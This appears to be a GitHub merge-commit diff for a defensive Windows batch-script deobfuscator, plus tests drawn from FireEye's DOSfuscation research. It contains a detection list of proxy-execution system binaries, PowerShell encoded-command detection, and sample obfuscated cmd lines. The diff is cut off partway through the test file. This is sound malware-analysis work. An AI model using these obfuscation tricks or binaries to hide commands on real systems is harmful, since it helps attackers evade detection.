Merge pull request #3 from gdesmar/master

Major refactoring

Author: DissectMalware

batch_deobfuscator/batch_interpreter.py

@@ -1,13 +1,54 @@
-import re
 import argparse
-import os
+import base64
 import copy
+import hashlib
+import os
+import re
+import shlex
+import shutil
+import string
+import tempfile
+from collections import defaultdict
+from urllib.parse import urlparse
+
+QUOTED_CHARS = ["|", ">", "<", '"', "^", "&"]
+
+# Powershell detection
+ENC_RE = rb"(?i)(?:-|/)e(?:c|n(?:c(?:o(?:d(?:e(?:d(?:c(?:o(?:m(?:m(?:a(?:nd?)?)?)?)?)?)?)?)?)?)?)?)?$"
+PWR_CMD_RE = rb"(?i)(?:-|/)c(?:o(?:m(?:m(?:a(?:nd?)?)?)?)?)?$"
+
+# Gathered from https://gist.github.com/api0cradle/8cdc53e2a80de079709d28a2d96458c2
+RARE_LOLBAS = [
+    "forfiles",
+    "bash",
+    "scriptrunner",
+    "syncappvpublishingserver",
+    "hh.exe",
+    "msbuild",
+    "regsvcs",
+    "regasm",
+    "installutil",
+    "ieexec",
+    "msxsl",
+    "odbcconf",
+    "sqldumper",
+    "pcalua",
+    "appvlp",
+    "runscripthelper",
+    "infdefaultinstall",
+    "diskshadow",
+    "msdt",
+    "regsvr32",
+]
 
 
 class BatchDeobfuscator:
-    def __init__(self):
+    def __init__(self, complex_one_liner_threshold=4):
         self.variables = {}
         self.exec_cmd = []
+        self.exec_ps1 = []
+        self.traits = defaultdict(list)
+        self.complex_one_liner_threshold = complex_one_liner_threshold
         if os.name == "nt":
             for env_var, value in os.environ.items():
                 self.variables[env_var.lower()] = value
@@ -22,6 +63,7 @@ def __init__(self):
                 "computername": "MISCREANTTEARS",
                 "comspec": "C:\\WINDOWS\\system32\\cmd.exe",
                 "driverdata": "C:\\Windows\\System32\\Drivers\\DriverData",
+                "errorlevel": "0",  # Because nothing fails.
                 "fps_browser_app_profile_string": "Internet Explorer",
                 "fps_browser_user_profile_string": "Default",
                 "homedrive": "C:",
@@ -32,7 +74,13 @@ def __init__(self):
                 "number_of_processors": "4",
                 "onedrive": "C:\\Users\\puncher\\OneDrive",
                 "os": "Windows_NT",
-                "path": "C:\\Program Files\\Amazon Corretto\\jdk11.0.7_10\\bin;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\dotnet\\;C:\\Program Files\\Microsoft SQL Server\\130\\Tools\\Binn\\;C:\\Users\\puncher\\AppData\\Local\\Microsoft\\WindowsApps;%USERPROFILE%\\AppData\\Local\\Microsoft\\WindowsApps;",
+                "path": (
+                    "C:\\Program Files\\Amazon Corretto\\jdk11.0.7_10\\bin;C:\\WINDOWS\\system32;"
+                    "C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;"
+                    "C:\\Program Files\\dotnet\\;C:\\Program Files\\Microsoft SQL Server\\130\\Tools\\Binn\\;"
+                    "C:\\Users\\puncher\\AppData\\Local\\Microsoft\\WindowsApps;"
+                    "%USERPROFILE%\\AppData\\Local\\Microsoft\\WindowsApps;"
+                ),
                 "pathext": ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC",
                 "processor_architecture": "AMD64",
                 "processor_identifier": "Intel Core Ti-83 Family 6 Model 158 Stepping 10, GenuineIntel",
@@ -44,6 +92,7 @@ def __init__(self):
                 "programw6432": "C:\\Program Files",
                 "psmodulepath": "C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\",
                 "public": "C:\\Users\\Public",
+                "random": "4",  # https://xkcd.com/221/
                 "sessionname": "Console",
                 "systemdrive": "C:",
                 "systemroot": "C:\\WINDOWS",
@@ -57,8 +106,26 @@ def __init__(self):
                 "__compat_layer": "DetectorsMessageBoxErrors",
             }
 
+        # There are 211 lines coming out of curl --help, so I won't be parsing all the options
+        self.curl_parser = argparse.ArgumentParser()
+        self.curl_parser.add_argument("-o", "--output", dest="output", help="Write to file instead of stdout")
+        self.curl_parser.add_argument(
+            "-O",
+            "--remote-name",
+            dest="remote_name",
+            action="store_true",
+            help="Write output to a file named as the remote file",
+        )
+        self.curl_parser.add_argument("url", help="URL")
+        # Patch all possible one-character arguments
+        for char in string.ascii_letters + string.digits + "#:":
+            try:
+                self.curl_parser.add_argument(f"-{char}", action="store_true")
+            except argparse.ArgumentError:
+                pass
+
     def read_logical_line(self, path):
-        with open(path, "r", encoding="utf-8") as input_file:
+        with open(path, "r", encoding="utf-8", errors="ignore") as input_file:
             logical_line = ""
             for line in input_file:
                 if not line.endswith("^"):
@@ -68,18 +135,88 @@ def read_logical_line(self, path):
                 else:
                     logical_line += line + "\n"
 
+    def split_if_statement(self, statement):
+        if_statement = (
+            r"(?P<conditional>(?P<if_statement>if)\s+(not\s+)?"
+            r"(?P<type>errorlevel\s+\d+\s+|exist\s+(\".*\"|[^\s]+)\s+|.+?==.+?\s+|"
+            r"(\/i\s+)?[^\s]+\s+(equ|neq|lss|leq|gtr|geq)\s+[^\s]+\s+|cmdextversion\s+\d\s+|defined\s+[^\s]+\s+)"
+            r"(?P<open_paren>\()?)(?P<true_statement>[^\)]*)(?P<close_paren>\))?"
+            r"(\s+else\s+(\()?\s*(?P<false_statement>[^\)]*)(\))?)?"
+        )
+        match = re.search(if_statement, statement, re.IGNORECASE)
+        if match is not None:
+            conditional = match.group("conditional")
+            if match.group("open_paren") is None:
+                conditional = f"{conditional}("
+            yield conditional
+            yield match.group("true_statement")
+            if match.group("false_statement") is None:
+                if match.group("open_paren") is None or match.group("close_paren") is not None:
+                    yield ")"
+            else:
+                # Got an ELSE statement
+                if match.group("if_statement") == "if":
+                    yield ") else ("
+                else:
+                    yield ") ELSE ("
+                yield match.group("false_statement")
+                yield ")"
+        else:
+            # Broken statement, maybe a re-run
+            yield statement
+
+    def split_for_statement(self, statement):
+        for_statement = (
+            r"(?P<loop>(?P<for_statement>for)\s+"
+            r"(?P<parameter>.+)"
+            r"\s+IN\s+\((?P<in_set>[^\)]+)\)"
+            r"\s+DO\s+"
+            r"(?P<open_paren>\()?)(?P<command>[^\)]*)(?P<close_paren>\))?"
+        )
+        match = re.search(for_statement, statement, re.IGNORECASE)
+        if match is not None:
+            loop = match.group("loop")
+            if match.group("open_paren") is None:
+                loop = f"{loop}("
+            yield loop
+            yield match.group("command")
+            if match.group("open_paren") is None or match.group("close_paren") is not None:
+                yield ")"
+        else:
+            # Broken statement, maybe a re-run
+            yield statement
+
+    def get_commands_special_statement(self, statement):
+        if statement.lower().startswith("if "):
+            for part in self.split_if_statement(statement):
+                if part.strip() != "":
+                    yield part
+        elif statement.lower().startswith("for "):
+            for part in self.split_for_statement(statement):
+                if part.strip() != "":
+                    yield part
+        else:
+            yield statement
+
     def get_commands(self, logical_line):
         state = "init"
         counter = 0
         start_command = 0
         for char in logical_line:
+            # print(f"C:{char}, S:{state}")
             if state == "init":  # init state
                 if char == '"':  # quote is on
                     state = "str_s"
                 elif char == "^":
                     state = "escape"
+                elif char == "&" and logical_line[counter - 1] == ">":
+                    # Usually an output redirection, we want to keep it on the same line
+                    pass
                 elif char == "&" or char == "|":
-                    yield logical_line[start_command:counter].strip()
+                    cmd = logical_line[start_command:counter].strip()
+                    if cmd != "":
+                        for part in self.get_commands_special_statement(cmd):
+                            yield part
                     start_command = counter + 1
             elif state == "str_s":
                 if char == '"':
@@ -91,37 +228,187 @@ def get_commands(self, logical_line):
 
         last_com = logical_line[start_command:].strip()
         if last_com != "":
-            yield last_com
+            for part in self.get_commands_special_statement(last_com):
+                yield part
 
     def get_value(self, variable):
 
-        str_substitution = r"%\s*(?P<variable>[A-Za-z0-9#$'()*+,-.?@\[\]_`{}~ ]+)" r"(:~\s*(?P<index>[+-]?\d+)\s*,\s*(?P<length>[+-]?\d+)\s*)?%"
+        str_substitution = (
+            r"([%!])(?P<variable>[\"^|!\w#$'()*+,-.?@\[\]`{}~\s+]+)"
+            r"("
+            r"(:~\s*(?P<index>[+-]?\d+)\s*(?:,\s*(?P<length>[+-]?\d+))?\s*)|"
+            r"(:(?P<s1>[^=]+)=(?P<s2>[^=]*))"
+            r")?(\1)"
+        )
 
         matches = re.finditer(str_substitution, variable, re.MULTILINE)
 
         value = ""
 
         for matchNum, match in enumerate(matches):
-            if len(match.groups()) == 4:
-                var_name = match.group("variable").lower()
-                if var_name in self.variables:
-                    value = self.variables[var_name]
-                    if match.group("index") is not None:
-                        index = int(match.group("index"))
+            var_name = match.group("variable").lower()
+            if var_name in self.variables:
+                value = self.variables[var_name]
+                if match.group("index") is not None:
+                    index = int(match.group("index"))
+                    if index < 0 and -index >= len(value):
+                        index = 0
+                    elif index < 0:
+                        index = len(value) + index
+                    if match.group("length") is not None:
                         length = int(match.group("length"))
-                        if length >= 0:
-                            value = value[index : index + length]
-                        else:
-                            value = value[index:length]
+                    else:
+                        length = len(value) - index
+                    if length >= 0:
+                        value = value[index : index + length]
+                    else:
+                        value = value[index:length]
+                elif match.group("s1") is not None:
+                    s1 = match.group("s1")
+                    s2 = match.group("s2")
+                    if s1.startswith("*") and s1[1:].lower() in value.lower():
+                        value = f"{s2}{value[value.lower().index(s1[1:].lower())+len(s1)-1:]}"
+                    else:
+                        pattern = re.compile(re.escape(s1), re.IGNORECASE)
+                        value = pattern.sub(re.escape(s2), value)
+            else:
+                # It should be "variable", and interpret the empty echo later, but that would need a better simulator
+                return value
+
+        if value == "^":
+            return value
+        return value.rstrip("^")
+
+    def interpret_set(self, cmd):
+        state = "init"
+        option = None
+        var_name = ""
+        var_value = ""
+        quote = None
+        old_state = None
+        stop_parsing = len(cmd)
+
+        for idx, char in enumerate(cmd):
+            # print(f"{idx}. C: {char} S: {state}, {var_value}")
+            if idx >= stop_parsing:
+                break
+            if state == "init":
+                if char == " ":
+                    continue
+                elif char == "/":
+                    state = "option"
+                elif char == '"':
+                    quote = '"'
+                    stop_parsing = cmd.rfind('"')
+                    if idx == stop_parsing:
+                        stop_parsing = len(cmd)
+                    state = "var"
+                elif char == "^":
+                    old_state = state
+                    state = "escape"
                 else:
-                    # if variable name is not set, return the variable
-                    # value = variable
-                    return value
+                    state = "var"
+                    var_name += char
+            elif state == "option":
+                option = char.lower()
+                state = "init"
+            elif state == "var":
+                if char == "=":
+                    state = "value"
+                elif not quote and char == '"':
+                    quote = '"'
+                    var_name += char
+                elif char == "^":
+                    old_state = state
+                    state = "escape"
+                else:
+                    var_name += char
+            elif state == "value":
+                if char == "^":
+                    old_state = state
+                    state = "escape"
+                else:
+                    var_value += char
+            elif state == "escape":
+                if old_state == "init":
+                    if char == '"':
+                        quote = '^"'
+                        stop_parsing = cmd.rfind('"')
+                        if idx == stop_parsing:
+                            stop_parsing = len(cmd)
+                        state = "init"
+                        old_state = None
+                    else:
+                        state = "var"
+                        var_name += char
+                        old_state = None
+                elif old_state == "var":
+                    if quote == '"' and char in QUOTED_CHARS:
+                        var_name += "^"
+                    if not quote and char == '"':
+                        quote = '^"'
+                    var_name += char
+                    state = old_state
+                    old_state = None
+                elif old_state == "value":
+                    var_value += char
+                    state = old_state
+                    old_state = None
+
+        if option == "a":
+            var_name = var_name.strip(" ")
+            for char in QUOTED_CHARS:
+                var_name = var_name.replace(char, "")
+            var_value = f"({var_value.strip(' ')})"
+        elif option == "p":
+            var_value = "__input__"
+
+        var_name = var_name.lstrip(" ")
+        if not quote:
+            var_name = var_name.lstrip('^"').replace('^"', '"')
+
+        return (var_name, var_value)
+
+    def interpret_curl(self, cmd):
+        # Batch specific obfuscation that is not handled before for echo/variable purposes, can be stripped here
+        cmd = cmd.replace('""', "")
+        split_cmd = shlex.split(cmd, posix=False)
+        args, unknown = self.curl_parser.parse_known_args(split_cmd[1:])
 
-        return value
+        dst = args.output
+        if args.remote_name:
+            dst = os.path.basename(urlparse(args.url).path)
+
+        self.traits["download"].append((cmd, {"src": args.url, "dst": dst}))
+
+    def interpret_powershell(self, normalized_comm):
+        try:
+            ori_cmd = shlex.split(normalized_comm)
+            cmd = shlex.split(normalized_comm.lower())
+        except ValueError:
+            return
+
+        ps1_cmd = None
+        for idx, part in enumerate(cmd):
+            if re.match(ENC_RE, part.encode()):
+                ps1_cmd = base64.b64decode(ori_cmd[idx + 1]).replace(b"\x00", b"")
+                break
+            elif re.match(PWR_CMD_RE, part.encode()):
+                ps1_cmd = ori_cmd[idx + 1].encode()
+                break
+        if ps1_cmd is None:
+            ps1_cmd = ori_cmd[-1].encode()
+
+        if ps1_cmd:
+            self.exec_ps1.append(ps1_cmd.strip(b'"'))
 
     def interpret_command(self, normalized_comm):
-        normalized_comm = normalized_comm.strip()
+        if normalized_comm[:3].lower() == "rem":
+            return
+
+        # We need to keep the last space in case the command is "set EXP=43 " so that the value will be "43 "
+        # normalized_comm = normalized_comm.strip()
+
         # remove paranthesis
         index = 0
         last = len(normalized_comm) - 1
@@ -135,58 +422,98 @@ def interpret_command(self, normalized_comm):
             index += 1
         normalized_comm = normalized_comm[index : last + 1]
 
-        if normalized_comm.lower().startswith("cmd"):
-            set_command = r"\s*(call)?cmd(.exe)?\s*((\/A|\/U|\/Q|\/D)\s+|((\/E|\/F|\/V):(ON|OFF))\s*)*(\/c|\/r)\s*(?P<cmd>.*)"
-            match = re.search(set_command, normalized_comm, re.IGNORECASE)
+        if not normalized_comm:
+            return
+
+        if normalized_comm[0] == "@":
+            normalized_comm = normalized_comm[1:]
+
+        normalized_comm_lower = normalized_comm.lower()
+        if normalized_comm_lower.startswith("call"):
+            # TODO: Not a perfect interpretation as the @ sign of the recursive command shouldn't be remove
+            # This shouldn't work:
+            # call @set EXP=43
+            # But this should:
+            # call set EXP=43
+            self.interpret_command(normalized_comm[5:])
+            return
+
+        if normalized_comm_lower.startswith("start"):
+            start_re = (
+                r"start(.exe)?"
+                r"(\/min|\/max|\/wait|\/low|\/normal|\/abovenormal|\/belownormal|\/high|\/realtime|\/b|\/i|\/w|\s+)*"
+                # TODO: Add Node + Affinity options
+                # TODO: Add title + path keys
+                r"(?P<cmd>.*)"
+            )
+            match = re.match(start_re, normalized_comm, re.IGNORECASE)
             if match is not None and match.group("cmd") is not None:
-                cmd = match.group("cmd").strip('"')
-                self.exec_cmd.append(cmd)
+                self.interpret_command(match.group("cmd"))
+            return
 
-        else:
+        if normalized_comm_lower.startswith("cmd"):
+            cmd_command = r"cmd(.exe)?\s*((\/A|\/U|\/Q|\/D)\s+|((\/E|\/F|\/V):(ON|OFF))\s*)*(\/c|\/r)\s*(?P<cmd>.*)"
+            match = re.search(cmd_command, normalized_comm, re.IGNORECASE)
+            if match is not None and match.group("cmd") is not None:
+                self.exec_cmd.append(match.group("cmd").strip('"'))
+            return
+
+        if normalized_comm_lower.startswith("setlocal"):
+            # Just so we don't go into the set command
+            return
+
+        if normalized_comm_lower.startswith("set"):
             # interpreting set command
-            set_command = (
-                r"(\s*(call)?\s*set\s+\"?(?P<var>[A-Za-z0-9#$'()*+,-.?@\[\]_`{}~ ]+)=\s*(?P<val>[^\"\n]*)\"?)|"
-                r"(\s*(call)?\s*set\s+/p\s+\"?(?P<input>[A-Za-z0-9#$'()*+,-.?@\[\]_`{}~ ]+)=[^\"\n]*\"?)"
-            )
-            match = re.search(set_command, normalized_comm, re.IGNORECASE)
-            if match is not None:
-                if match.group("input") is not None:
-                    self.variables[match.group("input")] = "__input__"
-                else:
-                    self.variables[match.group("var").lower()] = match.group("val")
+            var_name, var_value = self.interpret_set(normalized_comm[3:])
+            if var_value == "":
+                if var_name.lower() in self.variables:
+                    del self.variables[var_name.lower()]
+            else:
+                self.variables[var_name.lower()] = var_value
+            return
+
+        if normalized_comm_lower.startswith("curl"):
+            self.interpret_curl(normalized_comm)
+
+        if normalized_comm_lower.startswith("powershell"):
+            self.interpret_powershell(normalized_comm)
 
     # pushdown automata
     def normalize_command(self, command):
+        if command[:3].lower() == "rem":
+            return command
+
         state = "init"
-        counter = 0
         normalized_com = ""
         stack = []
+        traits = {"start_with_var": False, "var_used": 0}
         for char in command:
+            # print(f"C:{char} S:{state} N:{normalized_com}")
             if state == "init":  # init state
                 if char == '"':  # quote is on
                     state = "str_s"
                     if normalized_com and normalized_com[-1] == '"':
                         normalized_com = normalized_com[:-1]
                     else:
                         normalized_com += char
-                elif char == "," or char == ";" or char == "\t":
+                elif char == "," or char == ";":  # or char == "\t": EDIT: How about we keep those tabs?
                     # commas (",") are replaced by spaces, unless they are part of a string in doublequotes
                     # semicolons (";") are replaced by spaces, unless they are part of a string in doublequotes
                     # tabs are replaced by a single space
                     # http://www.robvanderwoude.com/parameters.php
                     normalized_com += " "
                 elif char == "^":  # next character must be escaped
+                    stack.append(state)
                     state = "escape"
-                    stack.append("init")
                 elif char == "%":  # variable start
                     variable_start = len(normalized_com)
-                    normalized_com += "%"
-                    stack.append("init")
+                    normalized_com += char
+                    stack.append(state)
                     state = "var_s"
                 elif char == "!":
                     variable_start = len(normalized_com)
-                    normalized_com += "%"
-                    stack.append("init")
+                    normalized_com += char
+                    stack.append(state)
                     state = "var_s_2"
                 else:
                     normalized_com += char
@@ -196,12 +523,12 @@ def normalize_command(self, command):
                     normalized_com += char
                 elif char == "%":
                     variable_start = len(normalized_com)
-                    normalized_com += "%"
+                    normalized_com += char
                     stack.append("str_s")
                     state = "var_s"  # seen %
                 elif char == "!":
                     variable_start = len(normalized_com)
-                    normalized_com += "%"
+                    normalized_com += char
                     stack.append("str_s")
                     state = "var_s_2"  # seen !
                 elif char == "^":
@@ -210,58 +537,192 @@ def normalize_command(self, command):
                 else:
                     normalized_com += char
             elif state == "var_s":
-                if char == "%" and normalized_com[-1] != "%":
-                    normalized_com += "%"
-                    # print('<substring>{}</substring>'.format(command[variable_start:counter + 1]), end='')
-                    value = self.get_value(normalized_com[variable_start:].lower())
+                if char == "%" and normalized_com[-1] != char:
+                    normalized_com += char
+                    value = self.get_value(normalized_com[variable_start:])
                     normalized_com = normalized_com[:variable_start]
-                    normalized_com += value
+                    if len(normalized_com) == 0:
+                        traits["start_with_var"] = True
+                    normalized_com += self.normalize_command(value)
+                    traits["var_used"] += 1
                     state = stack.pop()
-                elif char == "%":
+                elif char == "%":  # Two % in a row
                     normalized_com += char
-                    variable_start = counter
-                elif char == '"':
-                    if stack[-1] == "str_s":
-                        normalized_com += char
-                        stack.pop()
-                        state = "init"
-                    else:
-                        normalized_com += char
+                    state = stack.pop()
                 elif char == "^":
-                    state = "escape"
-                    stack.append("var_s")
+                    # Do not escape in vars?
+                    # state = "escape"
+                    # stack.append("var_s")
+                    normalized_com += char
+                elif char == "*" and len(normalized_com) == variable_start + 1:
+                    # Assume no parameter were passed
+                    normalized_com = normalized_com[:variable_start]
+                    state = stack.pop()
+                elif char.isdigit() and normalized_com[variable_start:] in [
+                    "%",
+                    "%~",
+                    "%~f",
+                    "%~d",
+                    "%~p",
+                    "%~n",
+                    "%~x",
+                    "%~s",
+                    "%~a",
+                    "%~t",
+                    "%~z",
+                ]:
+                    # https://www.programming-books.io/essential/batch/-percent-tilde-f4263820c2db41e399c77259970464f1.html
+                    # TODO: Better handling of letter combination (i.e. %~xsa0)
+                    # Could also return different values of script.bat if we want to parse the options
+                    normalized_com += char
+                    if char == "0":
+                        value = "script.bat"
+                    else:
+                        value = ""  # Assume no parameter were passed
+                    normalized_com = normalized_com[:variable_start]
+                    normalized_com += value
+                    state = stack.pop()
                 else:
                     normalized_com += char
             elif state == "var_s_2":
-                if char == "!" and normalized_com[-1] != "%":
-                    normalized_com += "%"
-                    # print('<substring>{}</substring>'.format(command[variable_start:counter + 1]), end='')
-                    value = self.get_value(normalized_com[variable_start:].lower())
+                if char == "!" and normalized_com[-1] != char:
+                    normalized_com += char
+                    value = self.get_value(normalized_com[variable_start:])
                     normalized_com = normalized_com[:variable_start]
-                    normalized_com += value
+                    if len(normalized_com) == 0:
+                        traits["start_with_var"] = True
+                    normalized_com += self.normalize_command(value)
+                    traits["var_used"] += 1
                     state = stack.pop()
                 elif char == "!":
                     normalized_com += char
-                    variable_start = counter
-                elif char == '"':
-                    if stack[-1] == "str_s":
-                        normalized_com += char
-                        stack.pop()
-                        state = "init"
-                    else:
-                        normalized_com += char
                 elif char == "^":
                     state = "escape"
-                    stack.append("var_s")
+                    stack.append("var_s_2")
                 else:
                     normalized_com += char
             elif state == "escape":
+                if char in QUOTED_CHARS:
+                    normalized_com += "^"
                 normalized_com += char
                 state = stack.pop()
+                if char == "%":
+                    if state == "var_s":
+                        value = self.get_value(normalized_com[variable_start:])
+                        normalized_com = normalized_com[:variable_start]
+                        if len(normalized_com) == 0:
+                            traits["start_with_var"] = True
+                        normalized_com += self.normalize_command(value)
+                        traits["var_used"] += 1
+                        state = stack.pop()
+                    else:
+                        variable_start = len(normalized_com) - 1
+                        stack.append(state)
+                        state = "var_s"
+                elif char == "!":
+                    if state == "var_s_2":
+                        value = self.get_value(normalized_com[variable_start:])
+                        normalized_com = normalized_com[:variable_start]
+                        if len(normalized_com) == 0:
+                            traits["start_with_var"] = True
+                        normalized_com += self.normalize_command(value)
+                        traits["var_used"] += 1
+                        state = stack.pop()
+                    else:
+                        variable_start = len(normalized_com) - 1
+                        stack.append(state)
+                        state = "var_s_2"
+
+        if state in ["var_s", "var_s_2"]:
+            normalized_com = normalized_com[:variable_start] + normalized_com[variable_start + 1 :]
+        if state == "escape":
+            normalized_com += "^"
+
+        if traits["start_with_var"]:
+            self.traits["start_with_var"].append((command, normalized_com))
+        self.traits["var_used"].append((command, normalized_com, traits["var_used"]))
 
-            counter += 1
         return normalized_com
 
+    def analyze_logical_line(self, logical_line, working_directory, f, extracted_files):
+        commands = self.get_commands(logical_line)
+        for command in commands:
+            normalized_comm = self.normalize_command(command)
+            if len(list(self.get_commands(normalized_comm))) > 1:
+                self.traits["command-grouping"].append({"Command": command, "Normalized": normalized_comm})
+                self.analyze_logical_line(normalized_comm, working_directory, f, extracted_files)
+            else:
+                self.interpret_command(normalized_comm)
+                f.write(normalized_comm)
+                f.write("\n")
+                for lolbas in RARE_LOLBAS:
+                    if lolbas in normalized_comm:
+                        self.traits["LOLBAS"].append({"LOLBAS": lolbas, "Command": normalized_comm})
+                if len(self.exec_cmd) > 0:
+                    for child_cmd in self.exec_cmd:
+                        child_deobfuscator = copy.deepcopy(self)
+                        child_deobfuscator.exec_cmd.clear()
+                        child_fd, child_path = tempfile.mkstemp(suffix=".bat", prefix="child_", dir=working_directory)
+                        with open(child_path, "w") as child_f:
+                            child_deobfuscator.analyze_logical_line(
+                                child_cmd, working_directory, child_f, extracted_files
+                            )
+                        with open(child_path, "rb") as cmd_f:
+                            sha256hash = hashlib.sha256(cmd_f.read()).hexdigest()
+                        bat_filename = f"{sha256hash[0:10]}.bat"
+                        shutil.move(child_path, os.path.join(working_directory, bat_filename))
+                        extracted_files["batch"].append((bat_filename, sha256hash))
+                    self.exec_cmd.clear()
+                if len(self.exec_ps1) > 0:
+                    for child_ps1 in self.exec_ps1:
+                        sha256hash = hashlib.sha256(child_ps1).hexdigest()
+                        if any(
+                            extracted_file_hash == sha256hash
+                            for _, extracted_file_hash in extracted_files.get("powershell", [])
+                        ):
+                            continue
+                        powershell_filename = f"{sha256hash[0:10]}.ps1"
+                        powershell_file_path = os.path.join(working_directory, powershell_filename)
+                        with open(powershell_file_path, "wb") as ps1_f:
+                            ps1_f.write(child_ps1)
+                        extracted_files["powershell"].append((powershell_filename, sha256hash))
+                    self.exec_ps1.clear()
+
+    def analyze(self, file_path, working_directory):
+        extracted_files = defaultdict(list)
+
+        file_name = "deobfuscated_bat.bat"
+        temp_path = os.path.join(working_directory, file_name)
+        with open(temp_path, "w") as f:
+            for logical_line in self.read_logical_line(file_path):
+                self.analyze_logical_line(logical_line, working_directory, f, extracted_files)
+
+        # Figure out if we're dealing with a Complex One-Liner
+        # Ignore empty lines to determine if it is a One-Liner
+        self.traits["one-liner"] = False
+        with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
+            firstline = False
+            for line in f:
+                if line.strip():
+                    if not firstline:
+                        self.traits["one-liner"] = True
+                        firstline = True
+                    else:
+                        self.traits["one-liner"] = False
+                        break
+
+        with open(temp_path, "rb") as f:
+            deobfuscated_data = f.read()
+            if self.traits["one-liner"]:
+                resulting_line_count = deobfuscated_data.count(b"\n")
+                if resulting_line_count >= self.complex_one_liner_threshold:
+                    self.traits["complex-one-liner"] = resulting_line_count
+            sha256hash = hashlib.sha256(deobfuscated_data).hexdigest()
+            bat_filename = f"{sha256hash[0:10]}_deobfuscated.bat"
+            shutil.move(temp_path, os.path.join(working_directory, bat_filename))
+
+        return bat_filename, extracted_files
+
 
 def interpret_logical_line(deobfuscator, logical_line, tab=""):
     commands = deobfuscator.get_commands(logical_line)
@@ -270,12 +731,13 @@ def interpret_logical_line(deobfuscator, logical_line, tab=""):
         deobfuscator.interpret_command(normalized_comm)
         print(tab + normalized_comm)
         if len(deobfuscator.exec_cmd) > 0:
-            print(tab + "[CHILE CMD]")
+            print(tab + "[CHILD CMD]")
             for child_cmd in deobfuscator.exec_cmd:
                 child_deobfuscator = copy.deepcopy(deobfuscator)
                 child_deobfuscator.exec_cmd.clear()
                 interpret_logical_line(child_deobfuscator, child_cmd, tab=tab + "\t")
-            print(tab + "[END OF CHILE CMD]")
+            deobfuscator.exec_cmd.clear()
+            print(tab + "[END OF CHILD CMD]")
 
 
 def interpret_logical_line_str(deobfuscator, logical_line, tab=""):
@@ -286,12 +748,13 @@ def interpret_logical_line_str(deobfuscator, logical_line, tab=""):
         deobfuscator.interpret_command(normalized_comm)
         str = str + tab + normalized_comm
         if len(deobfuscator.exec_cmd) > 0:
-            str = str + tab + "[CHILE CMD]"
+            str = str + tab + "[CHILD CMD]"
             for child_cmd in deobfuscator.exec_cmd:
                 child_deobfuscator = copy.deepcopy(deobfuscator)
                 child_deobfuscator.exec_cmd.clear()
                 interpret_logical_line(child_deobfuscator, child_cmd, tab=tab + "\t")
-            str = str + tab + "[END OF CHILE CMD]"
+            deobfuscator.exec_cmd.clear()
+            str = str + tab + "[END OF CHILD CMD]"
     return str
 
 

tests/test_FE_DOSfuscation.py

@@ -0,0 +1,216 @@
+# Tests coming from the FireEye DOSfuscation research
+# https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf
+import pytest
+
+from batch_deobfuscator.batch_interpreter import BatchDeobfuscator
+
+
+class TestUnittests:
+    @staticmethod
+    @pytest.mark.parametrize(
+        "logical_line, result",
+        [
+            (
+                ",;,cmd.exe,;,/c,;,echo;Command 1&&echo,Command 2",
+                ["   cmd.exe   /c   echo Command 1", "echo Command 2"],
+            ),
+        ],
+    )
+    def test_comma_semi_colon(logical_line, result):
+        deobfuscator = BatchDeobfuscator()
+        commands = deobfuscator.get_commands(logical_line)
+        res = []
+        for command in commands:
+            normalized_comm = deobfuscator.normalize_command(command)
+            deobfuscator.interpret_command(normalized_comm)
+            res.append(normalized_comm)
+
+        assert len(res) == len(result)
+        for test_res, expected_res in zip(res, result):
+            assert test_res == expected_res
+
+    @staticmethod
+    @pytest.mark.parametrize(
+        "statement, result",
+        [
+            # Substring
+            ("%COMSPEC%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:~0%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:~0,27%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:~-7%", "cmd.exe"),
+            ("%COMSPEC:~-27%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:~-7,-4%", "cmd"),
+            ("%COMSPEC:~-27,27%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:~-7,3%", "cmd"),
+            ("%COMSPEC:~0,1337%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:~-1337%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:~-1337,1337%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:~-40,3%", "C:\\"),
+            ("%COMSPEC:~-1,1%", "e"),
+            # Substitution
+            ("%COMSPEC:\\=/%", "C:/WINDOWS/system32/cmd.exe"),
+            ("%COMSPEC:KeepMatt=Happy%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:*System32\\=%", "cmd.exe"),
+            ("%COMSPEC:*Tea=Coffee%", "C:\\WINDOWS\\system32\\cmd.exe"),
+            ("%COMSPEC:*e=z%", "zm32\\cmd.exe"),
+            ("%COMSPEC:*e=Z%", "Zm32\\cmd.exe"),
+            ("%COMSPEC:s=z%", "C:\\WINDOWz\\zyztem32\\cmd.exe"),
+            ("%COMSPEC:s=%", "C:\\WINDOW\\ytem32\\cmd.exe"),
+            ("%COMSPEC:*S=A%", "A\\system32\\cmd.exe"),
+            ("%COMSPEC:*s=A%", "A\\system32\\cmd.exe"),
+            ("%COMSPEC:cMD=BlA%", "C:\\WINDOWS\\system32\\BlA.exe"),
+            # spacing
+            ("%coMSPec:~   -7,    +3%", "cmd"),
+            ("%coMSPec:~    -7, +3%", "cmd"),
+            # tabs
+            ("%coMSPec:~	-7,	+3%", "cmd"),
+            # set
+            ("%comspec:~-16,1%%comspec:~-1%%comspec:~-13,1%", "set"),
+        ],
+    )
+    def test_variable_manipulation(statement, result):
+        deobfuscator = BatchDeobfuscator()
+        res = deobfuscator.normalize_command(statement)
+        assert res == result
+
+    @staticmethod
+    @pytest.mark.parametrize(
+        "logical_line, result",
+        [
+            (
